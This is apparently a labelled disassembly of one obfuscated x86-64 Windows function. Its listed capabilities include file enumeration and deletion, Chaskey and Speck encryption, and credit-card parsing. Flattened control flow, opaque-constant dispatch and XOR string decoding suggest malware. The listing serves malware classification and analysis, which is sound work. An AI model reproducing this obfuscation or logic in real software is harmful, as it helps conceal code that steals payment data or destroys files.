Function at 0x14044925d
Capabilities:
Authenticate hmac
Delete file
Encrypt data using chaskey
Encrypt data using speck
Enumerate files on windows
Hash data using murmur3
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x18306623
pushf
not eax
add eax, 0xae4a2674
xor eax, 0xcf937b5c
rol eax, 0x34
popf
pushf
not eax
add eax, 0xeb34ae42
xor eax, 0xc34e4f93
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9b058012
xor eax, 0x997dccd1
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xb7a6c893
xor eax, 0xb296535d
rol eax, 0x10
popf
cmp eax, 0x59
jne 0x1404492c0
popf
pop rax
jmp 0x14044cd4f
cmp eax, 0x48
jne 0x1404492cf
popf
pop rax
jmp 0x14044c2cc
cmp eax, 0x3f
jne 0x1404492de
popf
pop rax
jmp 0x14044bc6e
cmp eax, 1
jne 0x1404492ed
popf
pop rax
jmp 0x1404498d7
cmp eax, 0x4a
jne 0x1404492fc
popf
pop rax
jmp 0x14044c3ac
cmp eax, 0x1a
jne 0x14044930b
popf
pop rax
jmp 0x14044a6ad
cmp eax, 0x44
jne 0x14044931a
popf
pop rax
jmp 0x14044c007
cmp eax, 0x58
jne 0x140449329
popf
pop rax
jmp 0x14044cc7b
cmp eax, 0x40
jne 0x140449338
popf
pop rax
jmp 0x14044bd3a
cmp eax, 8
jne 0x140449347
popf
pop rax
jmp 0x140449d99
cmp eax, 0x2a
jne 0x140449356
popf
pop rax
jmp 0x14044b027
cmp eax, 0x17
jne 0x140449365
popf
pop rax
jmp 0x14044a57a
cmp eax, 0x1c
jne 0x140449374
popf
pop rax
jmp 0x14044a7f6
cmp eax, 0x2e
jne 0x140449383
popf
pop rax
jmp 0x14044b260
cmp eax, 0x4c
jne 0x140449392
popf
pop rax
jmp 0x14044c61f
cmp eax, 0x2b
jne 0x1404493a1
popf
pop rax
jmp 0x14044b0bb
cmp eax, 0x1b
jne 0x1404493b0
popf
pop rax
jmp 0x14044a760
cmp eax, 0x2d
jne 0x1404493bf
popf
pop rax
jmp 0x14044b1f2
cmp eax, 0x23
jne 0x1404493ce
popf
pop rax
jmp 0x14044ab85
cmp eax, 0x5b
jne 0x1404493dd
popf
pop rax
jmp 0x14044cdc2
cmp eax, 0x43
jne 0x1404493ec
popf
pop rax
jmp 0x14044bfaa
cmp eax, 0x13
jne 0x1404493fb
popf
pop rax
jmp 0x14044a3df
cmp eax, 0x33
jne 0x14044940a
popf
pop rax
jmp 0x14044b613
cmp eax, 0x24
jne 0x140449419
popf
pop rax
jmp 0x14044ac2a
cmp eax, 0x1e
jne 0x140449428
popf
pop rax
jmp 0x14044a8b5
cmp eax, 0xc
jne 0x140449437
popf
pop rax
jmp 0x14044a0ce
cmp eax, 0x26
jne 0x140449446
popf
pop rax
jmp 0x14044ad87
cmp eax, 0x27
jne 0x140449455
popf
pop rax
jmp 0x14044adfc
cmp eax, 0x30
jne 0x140449464
popf
pop rax
jmp 0x14044b447
cmp eax, 0x10
jne 0x140449473
popf
pop rax
jmp 0x14044a281
cmp eax, 0x37
jne 0x140449482
popf
pop rax
jmp 0x14044b872
cmp eax, 9
jne 0x140449491
popf
pop rax
jmp 0x140449efb
cmp eax, 0x39
jne 0x1404494a0
popf
pop rax
jmp 0x14044b957
cmp eax, 0x16
jne 0x1404494af
popf
pop rax
jmp 0x14044a542
cmp eax, 0x3b
jne 0x1404494be
popf
pop rax
jmp 0x14044ba9c
cmp eax, 0x4b
jne 0x1404494cd
popf
pop rax
jmp 0x14044c487
cmp eax, 0x36
jne 0x1404494dc
popf
pop rax
jmp 0x14044b7ba
cmp eax, 0x14
jne 0x1404494eb
popf
pop rax
jmp 0x14044a47a
cmp eax, 0x46
jne 0x1404494fa
popf
pop rax
jmp 0x14044c138
cmp eax, 0x3d
jne 0x140449509
popf
pop rax
jmp 0x14044bb43
cmp eax, 2
jne 0x140449518
popf
pop rax
jmp 0x140449946
cmp eax, 0x47
jne 0x140449527
popf
pop rax
jmp 0x14044c203
cmp eax, 0x51
jne 0x140449536
popf
pop rax
jmp 0x14044c920
cmp eax, 0x11
jne 0x140449545
popf
pop rax
jmp 0x14044a326
cmp eax, 0x35
jne 0x140449554
popf
pop rax
jmp 0x14044b70c
cmp eax, 0x3a
jne 0x140449563
popf
pop rax
jmp 0x14044b9f7
cmp eax, 0x12
jne 0x140449572
popf
pop rax
jmp 0x14044a35e
cmp eax, 0x21
jne 0x140449581
popf
pop rax
jmp 0x14044aacf
cmp eax, 0x38
jne 0x140449590
popf
pop rax
jmp 0x14044b8c1
cmp eax, 0xb
jne 0x14044959f
popf
pop rax
jmp 0x140449ffc
cmp eax, 0x5c
jne 0x1404495ae
popf
pop rax
jmp 0x14044ce0e
cmp eax, 0x15
jne 0x1404495bd
popf
pop rax
jmp 0x14044a50c
cmp eax, 5
jne 0x1404495cc
popf
pop rax
jmp 0x140449b1b
cmp eax, 6
jne 0x1404495db
popf
pop rax
jmp 0x140449c1d
cmp eax, 0x5a
jne 0x1404495ea
popf
pop rax
jmp 0x14044cd89
cmp eax, 0x49
jne 0x1404495f9
popf
pop rax
jmp 0x14044c35f
cmp eax, 0x1f
jne 0x140449608
popf
pop rax
jmp 0x14044a95e
cmp eax, 4
jne 0x140449617
popf
pop rax
jmp 0x140449ae5
cmp eax, 0x2f
jne 0x140449626
popf
pop rax
jmp 0x14044b40f
cmp eax, 0x4d
jne 0x140449635
popf
pop rax
jmp 0x14044c667
cmp eax, 0x55
jne 0x140449644
popf
pop rax
jmp 0x14044cb33
cmp eax, 0x45
jne 0x140449653
popf
pop rax
jmp 0x14044c0d9
cmp eax, 0x2c
jne 0x140449662
popf
pop rax
jmp 0x14044b159
cmp eax, 3
jne 0x140449671
popf
pop rax
jmp 0x140449a4f
cmp eax, 0x19
jne 0x140449680
popf
pop rax
jmp 0x14044a605
cmp eax, 0x1d
jne 0x14044968f
popf
pop rax
jmp 0x14044a82c
cmp eax, 0x34
jne 0x14044969e
popf
pop rax
jmp 0x14044b69a
cmp eax, 0x53
jne 0x1404496ad
popf
pop rax
jmp 0x14044c9b8
cmp eax, 0x4f
jne 0x1404496bc
popf
pop rax
jmp 0x14044c85e
cmp eax, 0x42
jne 0x1404496cb
popf
pop rax
jmp 0x14044bf3f
cmp eax, 7
jne 0x1404496da
popf
pop rax
jmp 0x140449d0b
cmp eax, 0x20
jne 0x1404496e9
popf
pop rax
jmp 0x14044aa2f
cmp eax, 0x56
jne 0x1404496f8
popf
pop rax
jmp 0x14044cbd4
cmp eax, 0x3c
jne 0x140449707
popf
pop rax
jmp 0x14044bae7
cmp eax, 0xd
jne 0x140449716
popf
pop rax
jmp 0x14044a19b
cmp eax, 0xa
jne 0x140449725
popf
pop rax
jmp 0x140449f8c
cmp eax, 0x18
jne 0x140449734
popf
pop rax
jmp 0x14044a5b4
cmp eax, 0x28
jne 0x140449743
popf
pop rax
jmp 0x14044aeda
cmp eax, 0x22
jne 0x140449752
popf
pop rax
jmp 0x14044ab4e
cmp eax, 0x50
jne 0x140449761
popf
pop rax
jmp 0x14044c8bf
cmp eax, 0x52
jne 0x140449770
popf
pop rax
jmp 0x14044c96d
cmp eax, 0x41
jne 0x14044977f
popf
pop rax
jmp 0x14044bda3
cmp eax, 0xe
jne 0x14044978e
popf
pop rax
jmp 0x14044a1d1
cmp eax, 0x32
jne 0x14044979d
popf
pop rax
jmp 0x14044b586
cmp eax, 0x29
jne 0x1404497ac
popf
pop rax
jmp 0x14044af82
cmp eax, 0x3e
jne 0x1404497bb
popf
pop rax
jmp 0x14044bbe6
cmp eax, 0
jne 0x1404497ca
popf
pop rax
jmp 0x140449824
cmp eax, 0x4e
jne 0x1404497d9
popf
pop rax
jmp 0x14044c772
cmp eax, 0x31
jne 0x1404497e8
popf
pop rax
jmp 0x14044b4b1
cmp eax, 0x54
jne 0x1404497f7
popf
pop rax
jmp 0x14044ca72
cmp eax, 0x57
jne 0x140449806
popf
pop rax
jmp 0x14044cc1d
cmp eax, 0x25
jne 0x140449815
popf
pop rax
jmp 0x14044acc0
cmp eax, 0xf
jne 0x140449824
popf
pop rax
jmp 0x14044a26a
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x198]
sub rsp, 0x270
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov rdi, rcx
mov qword [rsp + 0x60], rcx
xor r15d, r15d
movzx eax, word [0x1403caaa8]
mov word [rsp + 0x68], ax
movzx eax, byte [0x1403caaaa]
mov byte [rsp + 0x68], 0x5c
xor byte [rsp + 0x69], 0x39
xor al, 0x3a
mov byte [rsp + 0x6a], al
mov rdx, qword [rcx + 0x10]
lea rax, [rsp + 0x68]
mov rcx, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0x78bce9c
pushf
not eax
add eax, 0xdda5bd25
xor eax, 0x9f7f97a1
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf7a7529f
xor eax, 0x927e25cf
rol eax, 0x62
popf
jmp 0x1404492b1
inc rcx
cmp byte [rax + rcx], 0
jne 0x140449913
push rax
pushf
mov eax, 0x4385878
pushf
not eax
add eax, 0xf3b78490
xor eax, 0xa15bc83b
rol eax, 0x48
popf
pushf
not eax
add eax, 0xad471b3e
xor eax, 0x8862ee6f
rol eax, 0xfa
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xd4abd1d9
pushf
not eax
add eax, 0xd089fbbf
xor eax, 0xfde3dd03
rol eax, 7
popf
pushf
not eax
add eax, 0xe1655d96
xor eax, 0xc26aea96
rol eax, 0x5e
popf
jmp 0x1404492b1
movabs r12, 0x6ed8b8f138872e5d
pushf
not r12
add r12, 0x7601a50e
xor r12, 0x765af79c
rol r12, 0xb6
popf
pushf
not r12
add r12, 0x7b551e6d
xor r12, 0x687da9b3
rol r12, 0x63
popf
pushf
not r12
add r12, 0x527adc42
xor r12, 0x4ecc6a6f
rol r12, 0xfe
popf
pushf
not r12
add r12, 0x70e7f7c3
xor r12, 0x486c5864
rol r12, 0xbe
popf
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x140449a1c
push rax
pushf
mov eax, 0x4b9c5197
pushf
not eax
add eax, 0xfd736040
xor eax, 0x9e24ea4f
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xe0689c00
xor eax, 0xd58e0ec2
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x89b38d33
xor eax, 0xb69a0fc6
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xf040566f
xor eax, 0xa7a46923
rol eax, 0xb
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xbf4bed19
pushf
not eax
add eax, 0xaf3e5910
xor eax, 0xf9cf1a62
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xf91785c7
xor eax, 0xb2c72cfc
rol eax, 0x81
popf
jmp 0x1404492b1
mov r9, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140449ab2
push rax
pushf
mov eax, 0x7ed9f08a
pushf
not eax
add eax, 0x896131bc
xor eax, 0x8812b435
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xa4d84ccc
xor eax, 0x82681a32
rol eax, 0xac
popf
pushf
not eax
add eax, 0xa42fbc4f
xor eax, 0x9ade3d17
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xb888e05c
xor eax, 0xe47cd856
rol eax, 0xff
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x4c6d44cb
pushf
not eax
add eax, 0xd4934166
xor eax, 0xaf999caf
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xd599e221
xor eax, 0x831e1c18
rol eax, 0x60
popf
jmp 0x1404492b1
mov r9, qword [rdi]
push rax
pushf
mov eax, 0x7004a8c9
pushf
not eax
add eax, 0x9c8850c9
xor eax, 0xa9be53db
rol eax, 0x32
popf
pushf
not eax
add eax, 0x97cc4b4b
xor eax, 0xc73a2253
rol eax, 0x56
popf
jmp 0x1404492b1
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x18]
call fcn.14013d850
nop
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
lea rdx, [rbp + 0x10]
jmp 0x140449b54
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
jne 0x140449bc5
push rax
pushf
mov eax, 0xe5ae98fd
pushf
not eax
add eax, 0xe319d425
xor eax, 0xf5e53160
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xf5a5e367
xor eax, 0x83314ad6
rol eax, 7
popf
pushf
not eax
add eax, 0xcc1282bd
xor eax, 0xc3e19167
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc5338e37
xor eax, 0xaf1698bf
rol eax, 0x8f
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xe98f7971
pushf
not eax
add eax, 0xe94a3799
xor eax, 0xf263b243
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xebe20e0b
xor eax, 0x962390d1
rol eax, 1
popf
pushf
not eax
add eax, 0xc7155482
xor eax, 0xc9b1a0fa
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xe8687cf4
xor eax, 0x870b4a88
rol eax, 0x19
popf
jmp 0x1404492b1
movups xmm0, xmmword [0x1403cb678]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1403cb688]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [0x1403cb690]
mov dword [rbp - 0x78], eax
movzx eax, byte [0x1403cb694]
mov byte [rbp - 0x74], al
mov ecx, r15d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140449cb2
push rax
pushf
mov eax, 0xf34f096a
pushf
not eax
add eax, 0xb7458412
xor eax, 0xbeea9309
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xdd79c6f3
xor eax, 0xbd35c919
rol eax, 0x86
popf
pushf
not eax
add eax, 0xfa1fd55c
xor eax, 0xd419e9e0
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xd7085405
xor eax, 0xdf738b9d
rol eax, 0x73
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x9fdf08b6
pushf
not eax
add eax, 0x9b72f5c8
xor eax, 0xb2985a7c
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xc121dd8d
xor eax, 0x8fb17db1
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd6e3f7bc
xor eax, 0xf9e65d88
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xf39670f6
xor eax, 0xd7e38ea0
rol eax, 0xa1
popf
jmp 0x1404492b1
movdqa xmm5, xmmword [0x1403cc610]
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x74]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x98d943c0
pushf
not eax
add eax, 0xc6cc4f86
xor eax, 0xa2f31f6e
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xb09d91fa
xor eax, 0xe152e7fc
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xbbc590f5
xor eax, 0xa3cc66e8
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xeec55b96
xor eax, 0xd6ec0f6e
rol eax, 0x7a
popf
jmp 0x1404492b1
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140449ec9
push rax
pushf
mov eax, 0xa52a10db
pushf
not eax
add eax, 0x9b6922e8
xor eax, 0xdb78c0e5
rol eax, 0xce
popf
pushf
not eax
add eax, 0xac9a6c4f
xor eax, 0xbee020fd
rol eax, 0x28
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x92111d0e
pushf
not eax
add eax, 0xf39f87db
xor eax, 0xc121a715
rol eax, 1
popf
pushf
not eax
add eax, 0xebdce046
xor eax, 0xaa7c4492
rol eax, 0xd3
popf
jmp 0x1404492b1
cmp ecx, 0x1d
jge 0x140449f59
push rax
pushf
mov eax, 0x67059cbe
pushf
not eax
add eax, 0x98e1674f
xor eax, 0xeb807325
rol eax, 8
popf
pushf
not eax
add eax, 0xb1741be0
xor eax, 0xf532d6f8
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xb8d8b470
xor eax, 0xbc2f0cd1
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xf09c3863
xor eax, 0xf89dfcb6
rol eax, 0x32
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xe56cbbec
pushf
not eax
add eax, 0xe6e10a4c
xor eax, 0xf6d97cdc
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xf7a0758b
xor eax, 0x94988630
rol eax, 0x89
popf
jmp 0x1404492b1
movsxd rax, ecx
lea r8, [rsp + 0x70]
push rax
not rax
sub r8, rax
pop rax
sub r8, 1
nop dword [rax]
push rax
pushf
mov eax, 0x2a744b5f
pushf
not eax
add eax, 0xc2e16624
xor eax, 0x83791e8f
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xe1195742
xor eax, 0xb449d83d
rol eax, 0x94
popf
pushf
not eax
add eax, 0xaea0b493
xor eax, 0x8cfd69d2
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xe1246730
xor eax, 0xffe2d9e8
rol eax, 0x94
popf
jmp 0x1404492b1
mov eax, 0xae37ec94
pushf
not eax
add eax, 0xd42e9e81
xor eax, 0xfb2c2750
rol eax, 0x82
popf
pushf
not eax
add eax, 0xfa5da30f
xor eax, 0xe82d771c
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x84fea4cd
xor eax, 0xe96e56c6
rol eax, 0x23
popf
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r8], al
jmp 0x14044a05d
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1d
jl 0x14044a09b
push rax
pushf
mov eax, 0x246a680
pushf
not eax
add eax, 0xcff9c1ad
xor eax, 0x96b9d248
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x9cfc2a82
xor eax, 0xe6e597b9
rol eax, 0xb2
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x104876e8
pushf
not eax
add eax, 0x9a901277
xor eax, 0xa8f8133e
rol eax, 0xba
popf
pushf
not eax
add eax, 0xb2e4997e
xor eax, 0xf2529b5b
rol eax, 0x30
popf
jmp 0x1404492b1
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14013c9b0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14044a142
push rax
pushf
mov eax, 0x82d1b289
pushf
not eax
add eax, 0xeca6ed80
xor eax, 0xcdba63bc
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x919e9a64
xor eax, 0xac137275
rol eax, 0x31
popf
pushf
not eax
add eax, 0xe6e1539d
xor eax, 0xdf277c7c
rol eax, 0x99
popf
pushf
not eax
add eax, 0xc27a8912
xor eax, 0xfe2c440a
rol eax, 0x1e
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x577670d5
pushf
not eax
add eax, 0x9c75fd52
xor eax, 0xfa0256f8
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xec470862
xor eax, 0xe9636a6b
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xafda791d
xor eax, 0xa9c77a7f
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xe3cdea03
xor eax, 0xf1ad5930
rol eax, 0xf1
popf
jmp 0x1404492b1
mov rdx, qword [rdi]
push rax
pushf
mov eax, 0xcc7de027
pushf
not eax
add eax, 0xd0b6bc40
xor eax, 0xaf9626c0
rol eax, 0x40
popf
pushf
not eax
add eax, 0x829851cb
xor eax, 0xd56956f2
rol eax, 0xaa
popf
jmp 0x1404492b1
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.14013dbf0
lea rdx, [0x1bbcda063]
pushf
sub rdx, 0x7bb9d4e3
popf
mov rcx, rax
jmp 0x14044a1f3
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14044a237
push rax
pushf
mov eax, 0x97bc9344
pushf
not eax
add eax, 0x899b848c
xor eax, 0xd2958f81
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x9ed408ca
xor eax, 0xda6b78f1
rol eax, 0x73
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x6386096d
pushf
not eax
add eax, 0xd447d18f
xor eax, 0xb3aa0d61
rol eax, 0x50
popf
pushf
not eax
add eax, 0xa0712d2c
xor eax, 0xdb3069d2
rol eax, 0xe0
popf
jmp 0x1404492b1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14044a326
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14044a2cd
push rax
pushf
mov eax, 0xab4b6339
pushf
not eax
add eax, 0x814e2f89
xor eax, 0xbf9548d9
rol eax, 0xd
popf
pushf
not eax
add eax, 0xf7ba301b
xor eax, 0x872762e0
rol eax, 0x41
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xe13867fe
pushf
not eax
add eax, 0xfb725f7d
xor eax, 0xaf30c9ea
rol eax, 0xd
popf
pushf
not eax
add eax, 0x9430aca0
xor eax, 0xb0302020
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf135923d
xor eax, 0xdbce244d
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xb6c07b08
xor eax, 0xf0591afc
rol eax, 0x53
popf
jmp 0x1404492b1
call fcn.140432633
push rax
pushf
mov eax, 0x7819ea40
pushf
not eax
add eax, 0x96a62c2b
xor eax, 0xfc5d1c5c
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xabcd943f
xor eax, 0xfcf26ad6
rol eax, 0xf6
popf
jmp 0x1404492b1
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14044a3ac
push rax
pushf
mov eax, 0x75a9ba93
pushf
not eax
add eax, 0xaeed3b1f
xor eax, 0xf4b582a2
rol eax, 0x57
popf
pushf
not eax
add eax, 0xa3b9595e
xor eax, 0x8ed25f6c
rol eax, 0x5c
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x7e279391
pushf
not eax
add eax, 0xaa7747b6
xor eax, 0x849da8a7
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xe38b6ada
xor eax, 0xdf682267
rol eax, 0x29
popf
jmp 0x1404492b1
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14044a421
push rax
pushf
mov eax, 0x6ba65177
pushf
not eax
add eax, 0xfe05617d
xor eax, 0xb7bae977
rol eax, 0x28
popf
pushf
not eax
add eax, 0xccd19247
xor eax, 0xb6d82021
rol eax, 0x86
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xd591b972
pushf
not eax
add eax, 0x8daf202a
xor eax, 0xf0908233
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xae674324
xor eax, 0xe1f66aa3
rol eax, 0x82
popf
pushf
not eax
add eax, 0xbd5c26f8
xor eax, 0xf68728af
rol eax, 0x77
popf
pushf
not eax
add eax, 0xefb01e12
xor eax, 0x81181c93
rol eax, 0x1e
popf
jmp 0x1404492b1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14044a4d9
push rax
pushf
mov eax, 0x65025d47
pushf
not eax
add eax, 0xd6388dcb
xor eax, 0xb7b8080f
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x9e04e19c
xor eax, 0xc3e8fd9c
rol eax, 0x35
popf
pushf
not eax
add eax, 0xb7daa86d
xor eax, 0xa1bf59a2
rol eax, 0x8d
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x10cb46ca
pushf
not eax
add eax, 0xd7024417
xor eax, 0xc98a0f6d
rol eax, 0xea
popf
pushf
not eax
add eax, 0x8fc89f6e
xor eax, 0x9c02d32f
rol eax, 0x95
popf
jmp 0x1404492b1
mov rcx, r8
push rax
pushf
mov eax, 0xe7744302
pushf
not eax
add eax, 0xce191595
xor eax, 0xad55ac01
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x8a0468e1
xor eax, 0xaa216bba
rol eax, 0x66
popf
jmp 0x1404492b1
call fcn.140432633
push rax
pushf
mov eax, 0x7c539c1e
pushf
not eax
add eax, 0xf253af6b
xor eax, 0xc7a10ebc
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xef426895
xor eax, 0x9652e306
rol eax, 0x64
popf
jmp 0x1404492b1
xor al, al
jmp 0x14044ccb1
mov esi, dword [reloc.WS2_32.dll_accept]
movzx ebx, byte [rsp + 0x40]
push rax
pushf
mov eax, 0xa6915a17
pushf
not eax
add eax, 0xc414786c
xor eax, 0x8b35dda8
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xe42f9b5a
xor eax, 0x925262ed
rol eax, 0x52
popf
pushf
not eax
add eax, 0xba10cedf
xor eax, 0x91c667e7
rol eax, 0x3a
popf
jmp 0x1404492b1
lea rdx, [0x18b1fb82e]
pushf
sub rdx, 0x4ae30dd6
popf
test byte [rbp + 0x10], 0x10
jne 0x14044a67a
push rax
pushf
mov eax, 0xb6bd4fa4
pushf
not eax
add eax, 0xfc5e6538
xor eax, 0xe6571a8f
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xdf5c15df
xor eax, 0xb4292e71
rol eax, 0xde
popf
pushf
not eax
add eax, 0xbd29c067
xor eax, 0xd05292b8
rol eax, 0x58
popf
pushf
not eax
add eax, 0xdfd389ae
xor eax, 0xc05a30e5
rol eax, 0x23
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0xbe72a8e2
pushf
not eax
add eax, 0xcd02ad36
xor eax, 0xee7b3106
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb1df88a5
xor eax, 0xdc8bd4f8
rol eax, 0xd4
popf
jmp 0x1404492b1
mov rcx, qword [rdi + 0x10]
mov rax, r12
sub rax, rcx
cmp rax, 1
jb 0x14044a71a
push rax
pushf
mov eax, 0xb452fc63
pushf
not eax
add eax, 0xc90922b7
xor eax, 0x975dd14d
rol eax, 0xf
popf
pushf
not eax
add eax, 0xbc24a022
xor eax, 0xae50b261
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x90a08d0a
xor eax, 0xfb48e0e6
rol eax, 0x32
popf
pushf
not eax
add eax, 0xd4e76430
xor eax, 0x9a41583c
rol eax, 0xb0
popf
jmp 0x1404492b1
push rax
pushf
mov eax, 0x6ae8b798
pushf
not eax
add eax, 0xddad9639
xor eax, 0x8294b5bc
rol eax, 0x45
popf
pushf
not eax
add eax, 0xb0579dfd
xor eax, 0xc5fcb5e3
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x94ccc416
xor eax, 0xa9b98f98
rol eax, 0x12
popf
jmp 0x1404492b1
mov r9, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x14044a7b0
push rax
pushf
mov eax, 0xcbd8a892
pushf
not eax
add eax, 0xef5cfa91
